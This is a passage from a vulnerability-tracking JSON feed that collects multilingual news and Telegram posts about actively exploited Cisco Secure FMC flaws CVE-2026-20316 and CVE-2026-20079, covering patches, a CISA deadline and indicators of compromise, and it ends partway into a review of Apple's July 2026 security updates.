\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632-\u0635\u0641\u0631 \u062f\u0631 Cisco Secure FMC\n\ud83c\udfa5\u0633\u06cc\u0633\u06a9\u0648 \u0648\u0635\u0644\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632-\u0635\u0641\u0631 (CVE-2026-20316) \u062f\u0631 \u0645\u062d\u0635\u0648\u0644 Secure Firewall Management Center \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f \u06a9\u0647 \u0647\u0645\u200c\u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0648\u0627\u0642\u0639\u06cc \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u06a9\u0647 \u0646\u0627\u0634\u06cc \u0627\u0632 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0648\u0631\u0648\u062f \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u062f\u0631 \u06cc\u06a9 \u062d\u0633\u0627\u0628 \u06a9\u0645\u200c\u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0633\u062a\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0628\u0647 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u062d\u0633\u0627\u0633 \u062f\u0633\u062a \u06cc\u0627\u0628\u062f.\n\n\ud83c\udfa5\u0633\u06cc\u0633\u06a9\u0648 \u0627\u0632 \u0698\u0648\u0626\u06cc\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u0637\u0644\u0639 \u0634\u062f\u0647 \u0648 \u0634\u0627\u062e\u0635\u200c\u0647\u0627\u06cc \u0646\u0641\u0648\u0630 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u062d\u0645\u0644\u0627\u062a \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0622\u0698\u0627\u0646\u0633 CISA \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0631\u0627 \u062f\u0631 \u0641\u0647\u0631\u0633\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0646\u0647\u0627\u062f\u0647\u0627\u06cc \u062f\u0648\u0644\u062a\u06cc \u0622\u0645\u0631\u06cc\u06a9\u0627 \u062a\u0627 \u06f1 \u0627\u0648\u062a \u0645\u0647\u0644\u062a \u062f\u0627\u062f\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0645\u0648\u0631\u062f \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0686\u0646\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u062e\u06cc\u0631 \u0627\u0632 \u0645\u062d\u0635\u0648\u0644\u0627\u062a \u0633\u06cc\u0633\u06a9\u0648\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 Catalyst SD-WAN Manager\u060c \u0631\u062e \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\u2708\ufe0f @HackerNewsCyber", "creation_timestamp": "2026-07-31T00:00:35.803718Z"}, {"uuid": "9952b618-8e93-4f23-8020-517d06bae5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "Telegram/EgieOuj0Qpcu_qVDCJDsW1GdIWBvF4S9c-sOot4e7AR6LQ", "content": "", "creation_timestamp": "2026-07-31T00:00:29.684814Z"}, {"uuid": "7a2eff39-5f8f-49c3-ae4c-053aef8b0332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://t.me/true_secator/8458", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Secure Firewall Management Center (FMC), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u041f\u041e Cisco Secure FMC.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Cisco, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\nCVE-2026-20316 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 5,3, \u043e\u0434\u043d\u0430\u043a\u043e Cisco \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 FMC \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u0430\u043a\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e \u0430\u0442\u0430\u043a\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Cisco Secure FMC \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 Cloud-Delivered FMC, Firewall Device Manager, Secure Firewall ASA Software, Secure Firewall Threat Defense Software \u0438\u043b\u0438 Security Cloud Control.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Secure FMC 7.0, 7.2, 7.4, 7.6, 7.7 \u0438 10.0. \u041e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u0438\u044e\u043b\u0435 2026 \u0433\u043e\u0434\u0430 (\u0438\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e \u0441\u0430\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u0414\u0436\u0438\u043c\u0438 \u0421\u0435\u0431\u0440\u0438 \u0438\u0437 Horizon3.ai.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f FMC \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 Cisco FMC \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b \u0436\u0443\u0440\u043d\u0430\u043b\u0430 /var/log/messages \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco IOCs, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 FMC, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 FMC, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20079 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 CVSS 10,0.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e FMC.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u043c \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 CVE-2026-20316, \u0434\u043b\u044f CVE-2026-20079 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e CVE-2026-20079 \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 29 \u0438\u044e\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432\u0442\u043e\u0440\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043e\u0448\u0438\u0431\u043a\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 IOCs. \u041d\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 Cisco \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\u00a0\u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440 (/var/tmp/license.tmp) \u0432 \u043e\u0431\u043e\u0438\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u0445, \u043d\u043e \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043b\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u043b\u0438 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 CVE-2026-20079 \u043e\u0442 Cisco \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2026-20316, \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\nCisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Secure FMC, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f CVE-2026-20079, \u0438 \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.", "creation_timestamp": "2026-07-31T00:00:30.852107Z"}, {"uuid": "6b73e518-da14-414b-8919-e462b961f3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/information_security_channel/55644", "content": "Cisco Secure FMC Zero-Day Exploited in the Wild\nhttps://www.securityweek.com/cisco-secure-fmc-zero-day-exploited-in-the-wild/\n\nThe vulnerability tracked as CVE-2026-20316 can be exploited by a remote, unauthenticated attacker to log into affected devices.\u00a0\nThe post Cisco Secure FMC Zero-Day Exploited in the Wild (https://www.securityweek.com/cisco-secure-fmc-zero-day-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-31T00:00:32.930134Z"}, {"uuid": "f7ecaf46-56ca-4d67-b769-8c4cc57cf076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/thehackernews/9659", "content": "\u26a0\ufe0f Attackers are exploiting Cisco FMC zero-day CVE-2026-20316.\n\nThe flaw lets unauthenticated remote attackers use static credentials to access sensitive data through a low-privilege account.\n\nCisco warns it can be chained with other FMC flaws to elevate privileges.\n\nHere's what admins should check: https://thehackernews.com/2026/07/cisco-fmc-zero-day-actively-exploited.html", "creation_timestamp": "2026-07-31T00:00:39.610179Z"}, {"uuid": "5ac158b4-a058-4767-a90b-7e3e8a8f2d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://threatintel.cc/2026/07/30/cisco-warns-of-fmc-static.html", "content": "www.bleepingcomputer.com/news/secu…\n\nCisco disclosed that CVE-2026-20316, a static-credential vulnerability in Secure Firewall Management Center (FMC) Software, has been actively exploited in zero-day attacks. The flaw allows an unauthenticated remote attacker to log in with a built-in low-privilege account and access sensitive data. Although its CVSS score is 5.3, Cisco rated it High severity because it can be chained with other FMC flaws for privilege escalation.\n\nHotfixes are available for FMC releases 7.0, 7.2, 7.4, 7.6, 7.7 and 10.0. There are no workarounds. CISA added the vulnerability to its Known Exploited Vulnerabilities catalog with an August 1 remediation deadline for federal agencies. Organizations should also check logs for indicators such as references to /var/tmp/license.tmp and rotate credentials if compromise is suspected.", "creation_timestamp": "2026-07-31T01:00:33.407496Z"}, {"uuid": "47257159-ab6a-4874-9210-1e220a681615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://thehackernews.com/2026/07/cisco-fmc-zero-day-actively-exploited.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a newly disclosed security flaw impacting Cisco Secure Firewall Management Center (FMC) Software to its Known Exploited Vulnerabilities (KEV) catalog, following reports of zero-day exploitation.\n\nThe vulnerability, assigned CVE-2026-20316 (CVSS score: 5.3), could permit an unauthenticated, remote attacker to log", "creation_timestamp": "2026-07-31T01:00:32.886302Z"}, {"uuid": "827fe933-efe9-4206-bf9d-923e701db65d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotto-cisco-2", "content": "Rilevato lo sfruttamento attivo della vulnerabilit\u00e0 CVE-2026-20316, che interessa Cisco Secure Firewall Management Center (FMC), software utilizzato per la gestione centralizzata di firewall e sistemi di sicurezza di rete. Tale vulnerabilit\u00e0 risulta essere sfruttata attivamente in rete, e potrebbe consentire ad un utente malintenzionato di eludere i meccanismi di autenticazione sui sistemi interessati", "creation_timestamp": "2026-07-31T01:00:33.051087Z"}, {"uuid": "ad879120-f272-46e6-a3af-7201713bc7c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20672", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/29/the-july-2026-apple-security-update-review", "content": "Welcome to our monthly look at Apple security patches. This release shows that Apple is not immune to the bug apocalypse that is impacting other vendors. Last month, they released 37 unique CVEs compare to this month\u2019s 210. Quite a jump.\nFor July 2026, Apple released 210 unique CVEs across iOS/iPadOS 26.6, macOS Tahoe 26.6, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, tvOS 26.6, watchOS 26.6, visionOS 26.6, and Safari 26.6. Since Apple doesn\u2019t provide CVSS scores or other severity information, we\u2019re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.\n\u00b7      CVE-2026-43818 (ImageIO) \u2013 This bug could allow the \u201cProcessing [of] a maliciously crafted image may lead to arbitrary code execution.\" ImageIO is the classic zero-/one-click remote surface on Apple platforms (images auto-parsed in Messages, previews, notifications), so this is the highest real-world remote-exploitation risk in the release. It\u2019s also present across iOS and all macOS versions. Depending on delivery path, this is the one most likely to be weaponized into a remote foothold.\n\u00b7      CVE-2026-64747 (AVEVideoEncoder) \u2013 According to Apple, \u201cAn app may be able to execute arbitrary code with kernel privileges.\u201d Kernel-level code execution is the 